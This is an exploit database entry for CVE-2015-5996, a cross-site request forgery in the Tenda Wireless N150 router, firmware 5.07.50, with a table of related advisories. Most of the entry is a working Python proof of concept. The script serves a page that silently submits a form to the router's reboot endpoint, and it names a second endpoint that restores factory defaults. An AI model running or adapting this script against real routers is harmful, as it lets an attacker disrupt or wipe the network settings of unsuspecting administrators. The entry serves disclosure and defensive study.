Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)

🗓️ 23 Jul 2018 00:00:00Reported by Nathu NandwaniType

Tenda Wireless N150 Router 5.07.50 Cross-Site Request Forgery (Reboot Router

Reporter	Title	Published	Views	Family All 11
0day.today	Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router) Exploit	24 Jul 201800:00	–	zdt
Circl	CVE-2015-5996	11 Dec 201816:08	–	circl
CNVD	Mediabridge Medialink Wireless-N Broadband Router MWN-WAPR300N Cross-Site Request Forgery Vulnerability	20 Sep 201500:00	–	cnvd
CVE	CVE-2015-5996	31 Dec 201502:00	–	cve
Cvelist	CVE-2015-5996	31 Dec 201502:00	–	cvelist
EUVD	EUVD-2015-5939	7 Oct 202500:30	–	euvd
exploitpack	Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)	23 Jul 201800:00	–	exploitpack
NVD	CVE-2015-5996	31 Dec 201505:59	–	nvd
Packet Storm	Tenda Wireless N150 Router 5.07.50 Cross Site Request Forgery	23 Jul 201800:00	–	packetstorm
Prion	Cross site request forgery (csrf)	31 Dec 201505:59	–	prion

# Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)
# Date: 2018-07-21
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co
# CVE: CVE-2015-5996
#
# Description:
#
# The router is vulnerable to a cross-site request forgery attacker. 
# If an administrator is currently logged in and visits a 
# remote webpage containing forms existing in the router's firmware, 
# a request can be forged to modify existing settings or even 
# set the router to its default state.
#
# These are two examples that can work in the proof of concept: 
# /goform/SysToolReboot - Reboot the router
# /goform/SysToolRestoreSet - Set the router to default settings
#
# Reference: https://www.kb.cert.org/vuls/id/630872

import socket

server_ip = "0.0.0.0"
server_port = 80

router_ip = "192.168.0.1"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)

print "Currently listening at " + server_ip + ":" + str(server_port)        

client, (client_host, client_port) = sock.accept()

print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)

client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')
client.send("""
<html>
    <body>
        <form method="post" id="frmSetup" name="frmSetup" action="http://""" + router_ip + """/goform/SysToolReboot">
            <input name="CMD" value="SYS_CONF" type="hidden">
            <input name="GO" value="system_reboot.asp" type="hidden">
            <input name="CCMD" value="0" type="hidden">
        </form>
        <script>
            document.getElementById("frmSetup").submit();
        </script>
    </body>
</html>
""")

client.close()
sock.close()

23 Jul 2018 00:00Current

8.8High risk

Vulners AI Score8.8

CVSS 26.8

CVSS 38.8

EPSS0.00181